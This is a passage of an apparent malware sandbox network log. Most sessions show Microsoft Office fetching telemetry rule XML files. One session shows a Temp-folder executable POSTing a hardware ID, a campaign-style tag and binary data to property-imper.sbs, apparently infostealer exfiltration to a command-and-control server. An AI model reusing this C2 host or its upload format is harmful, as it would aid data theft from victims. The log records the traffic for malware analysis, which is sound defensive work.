2024-11-23 19:23:34 UTC	1369	IN	Data Raw: 49 69 63 58 77 36 53 4d 6c 65 6d 38 4b 57 4c 54 75 44 6e 62 73 4b 55 75 79 6f 58 33 34 6b 45 4b 32 4f 6e 36 42 42 65 35 57 33 47 7a 62 74 4c 41 70 63 32 45 37 47 39 76 4d 39 4e 36 36 49 31 6a 70 4f 79 4c 42 6a 52 68 67 34 6e 61 75 32 6a 55 46 4c 2b 49 70 71 4c 6e 6c 38 42 6b 44 4a 53 71 50 61 76 68 45 7a 71 34 57 76 49 33 2f 4a 70 48 38 50 41 55 6d 4a 4d 2f 4b 74 63 58 72 30 79 30 4a 54 61 56 77 33 62 59 78 4f 6c 2f 36 47 49 53 75 72 68 5a 63 75 62 74 69 77 59 30 35 49 43 49 6d 76 31 74 46 42 51 2b 43 47 64 6a 5a 35 57 43 4a 30 34 56 2b 36 39 35 59 68 53 70 37 6f 74 34 35 4f 37 41 42 2f 41 77 42 56 73 64 61 65 68 58 42 6d 6c 62 5a 2b 47 6b 46 38 4d 6d 44 31 51 70 66 61 76 6a 6b 33 76 37 33 2f 4e 6b 4c 4d 74 47 4e 53 47 44 43 4e 6a 34 61 46 5a 57 50 55 71 Data Ascii: IicXw6SMlem8KWLTuDnbsKUuyoX34kEK2On6BBe5W3GzbtLApc2E7G9vM9N66I1jpOyLBjRhg4nau2jUFL+IpqLnl8BkDJSqPavhEzq4WvI3/JpH8PAUmJM/KtcXr0y0JTaVw3bYxOl/6GISurhZcubtiwY05ICImv1tFBQ+CGdjZ5WCJ04V+695YhSp7ot45O7AB/AwBVsdaehXBmlbZ+GkF8MmD1Qpfavjk3v73/NkLMtGNSGDCNj4aFZWPUq
2024-11-23 19:23:34 UTC	372	IN	Data Raw: 34 6d 6a 54 46 55 76 76 53 79 67 41 71 70 6f 6d 4b 4f 78 34 56 70 45 64 79 62 47 7a 52 68 39 36 45 51 5a 72 4e 74 68 73 33 43 45 44 53 59 4e 56 32 70 35 62 54 43 62 66 48 6f 61 74 36 59 71 79 5a 59 6c 63 41 4d 59 6a 53 30 36 42 42 64 37 47 33 47 33 63 67 4c 56 4d 68 73 41 2f 7a 73 36 35 59 4b 38 61 49 31 6e 4e 48 38 4f 31 69 44 77 45 30 68 66 76 57 67 55 30 2f 2b 61 71 43 7a 76 55 6f 4d 6e 53 78 43 6b 4d 32 69 6c 55 66 68 39 58 79 43 69 72 38 6e 46 74 79 57 53 6d 77 73 36 4f 59 49 59 4c 31 6c 33 72 4c 55 45 42 6e 62 59 78 4f 62 38 4b 75 42 54 66 48 7a 49 4f 6d 46 73 53 38 50 79 73 42 45 59 6d 71 6e 2f 67 41 58 76 53 6d 50 7a 63 49 41 55 38 42 75 41 50 6d 6a 39 35 41 45 2f 71 4a 37 6a 73 66 75 5a 31 6a 4a 77 46 4a 69 4b 2b 53 30 51 6c 2f 2b 4f 35 33 4b 70 Data Ascii: 4mjTFUvvSygAqpomKOx4VpEdybGzRh96EQZrNths3CEDSYNV2p5bTCbfHoat6YqyZYlcAMYjS06BBd7G3G3cgLVMhsA/zs65YK8aI1nNH8O1iDwE0hfvWgU0/+aqCzvUoMnSxCkM2ilUfh9XyCir8nFtyWSmws6OYIYL1l3rLUEBnbYxOb8KuBTfHzIOmFsS8PysBEYmqn/gAXvSmPzcIAU8BuAPmj95AE/qJ7jsfuZ1jJwFJiK+S0Ql/+O53Kp
2024-11-23 19:23:34 UTC	1369	IN	Data Raw: 32 36 65 30 0d 0a 66 75 47 6c 52 6c 71 36 45 36 43 4f 6a 46 30 4f 6b 44 70 74 6b 4e 32 6f 6a 6b 6e 70 6f 46 7a 59 6b 71 77 71 48 64 79 2b 4e 43 78 72 38 36 46 65 58 2f 31 74 30 4d 32 56 45 46 6d 69 65 78 76 75 7a 4f 76 50 55 71 65 36 4c 66 75 63 73 69 63 66 7a 5a 46 48 41 58 72 71 71 56 74 59 76 57 50 65 69 39 6f 49 55 64 56 37 56 37 2b 7a 2f 64 38 59 76 4c 63 2b 6d 63 2f 75 4e 6c 62 43 77 42 78 69 4e 4c 58 6f 45 45 75 39 64 64 37 4b 6c 46 30 41 6d 44 56 51 76 4f 47 6a 6a 46 7a 6b 70 56 50 77 76 72 45 69 46 4e 61 50 41 52 78 53 78 71 74 62 56 66 41 69 6c 62 4f 6b 52 51 4b 56 4e 56 53 34 34 75 58 42 43 75 69 69 4e 66 66 66 39 47 6b 6e 6c 63 41 53 59 6a 53 6e 6b 31 4e 58 38 79 71 49 6e 4e 64 78 44 4a 41 33 58 71 48 34 35 63 45 4b 34 61 49 31 6e 74 48 38 4c Data Ascii: 26e0fuGlRlq6E6COjF0OkDptkN2ojknpoFzYkqwqHdy+NCxr86FeX/1t0M2VEFmiexvuzOvPUqe6LfucsicfzZFHAXrqqVtYvWPei9oIUdV7V7+z/d8YvLc+mc/uNlbCwBxiNLXoEEu9dd7KlF0AmDVQvOGjjFzkpVPwvrEiFNaPARxSxqtbVfAilbOkRQKVNVS44uXBCuiiNfff9GknlcASYjSnk1NX8yqInNdxDJA3XqH45cEK4aI1ntH8L
2024-11-23 19:23:34 UTC	1369	IN	Data Raw: 4a 4d 6d 72 6b 6d 47 35 79 38 53 75 5a 6c 35 31 57 4a 37 74 37 48 65 37 38 35 64 64 7a 70 36 6f 74 38 64 48 38 4d 56 69 44 77 44 38 68 59 75 6d 68 52 6b 69 77 43 49 6d 4f 69 6c 59 43 32 33 55 54 71 4c 50 39 33 77 53 6e 35 6e 79 4f 78 2b 78 37 51 34 37 54 58 58 49 2b 2b 4f 68 4a 47 65 74 74 78 74 2f 55 45 42 50 62 59 78 50 70 38 4c 65 64 54 4f 54 30 62 6f 6d 68 67 67 38 62 79 6f 6f 72 4c 33 7a 67 6d 47 35 4d 2f 69 4f 51 69 6f 78 42 51 64 56 37 58 4f 36 72 6e 4d 38 43 71 2b 52 75 32 4e 2b 44 5a 31 6a 44 77 46 4a 69 57 65 53 6f 58 6c 37 72 50 4e 4f 72 6d 55 45 4c 75 6a 5a 44 71 62 50 72 7a 30 79 6e 75 6a 36 41 33 37 67 34 57 49 50 51 57 48 6b 35 74 50 45 41 43 2b 4a 6a 68 38 32 4d 45 46 6e 4a 64 52 4f 38 73 2f 33 50 44 65 54 77 66 38 69 63 71 69 70 66 35 62 Data Ascii: JMmrkmG5y8SuZl51WJ7t7He785ddzp6ot8dH8MViDwD8hYumhRkiwCImOilYC23UTqLP93wSn5nyOx+x7Q47TXXI++OhJGettxt/UEBPbYxPp8LedTOT0bomhgg8byoorL3zgmG5M/iOQioxBQdV7XO6rnM8Cq+Ru2N+DZ1jDwFJiWeSoXl7rPNOrmUELujZDqbPrz0ynuj6A37g4WIPQWHk5tPEAC+Jjh82MEFnJdRO8s/3PDeTwf8icqipf5b

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:34 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d5b120ed-d01e-0017-3f65-3bb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192335Z-178bfbc474bbcwv4hC1NYCypys00000004sg000000007xtz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:34 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192335Z-178bfbc474bv587zhC1NYCny5w00000004u000000000611n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:35 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:35 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: c9b33041-e01e-0033-176b-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192335Z-178bfbc474bnwsh4hC1NYC2ubs00000004vg00000000m803 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:36 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:35 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192336Z-178bfbc474bpscmfhC1NYCfc2c00000003dg00000000ga4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:35 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:36 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5556881b-d01e-008e-6531-3c387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192336Z-178bfbc474bq2pr7hC1NYCkfgg0000000540000000002e0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:36 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49839	104.21.33.116	443	5472	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:37 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5V2I3E8VXK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18121 Host: property-imper.sbs
2024-11-23 19:23:37 UTC	15331	OUT	Data Raw: 2d 2d 35 56 32 49 33 45 38 56 58 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 34 45 45 36 32 34 46 36 34 35 37 33 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 35 56 32 49 33 45 38 56 58 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 56 32 49 33 45 38 56 58 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 35 56 32 49 33 45 38 56 58 4b 0d 0a 43 6f Data Ascii: --5V2I3E8VXKContent-Disposition: form-data; name="hwid"324EE624F64573D4D7CBBD6DF28D3732--5V2I3E8VXKContent-Disposition: form-data; name="pid"2--5V2I3E8VXKContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--5V2I3E8VXKCo
2024-11-23 19:23:37 UTC	2790	OUT	Data Raw: 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-11-23 19:23:38 UTC	1029	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rlqjg55ctj9lmotbocblcub027; expires=Wed, 19-Mar-2025 13:10:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mewEIM4tvxE7Jl4%2F0wDGf2aX%2BECKcc6POEE8p26MbekZH0xd6JXRwri57BjQ8ckO%2F3wP9OX92li89nfsQMduwxwZ26P1Hp0HyR%2B8xL9q2%2BX4%2BSW%2BPmAZiGtKdioIw9w%2F2HhLT%2FU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7388e8389b7d0c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1823&sent=13&recv=21&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19077&delivery_rate=1468812&cwnd=144&unsent_bytes=0&cid=91a093c09543a72f&ts=964&x=0"
2024-11-23 19:23:38 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 19:23:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:38 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:38 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8176cca2-201e-0003-2c64-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192338Z-178bfbc474bgvl54hC1NYCsfuw00000004yg0000000032mt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:38 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:38 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:38 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 848b8d5b-d01e-00a1-7163-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192338Z-178bfbc474bv587zhC1NYCny5w00000004p000000000mttw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:38 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:38 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
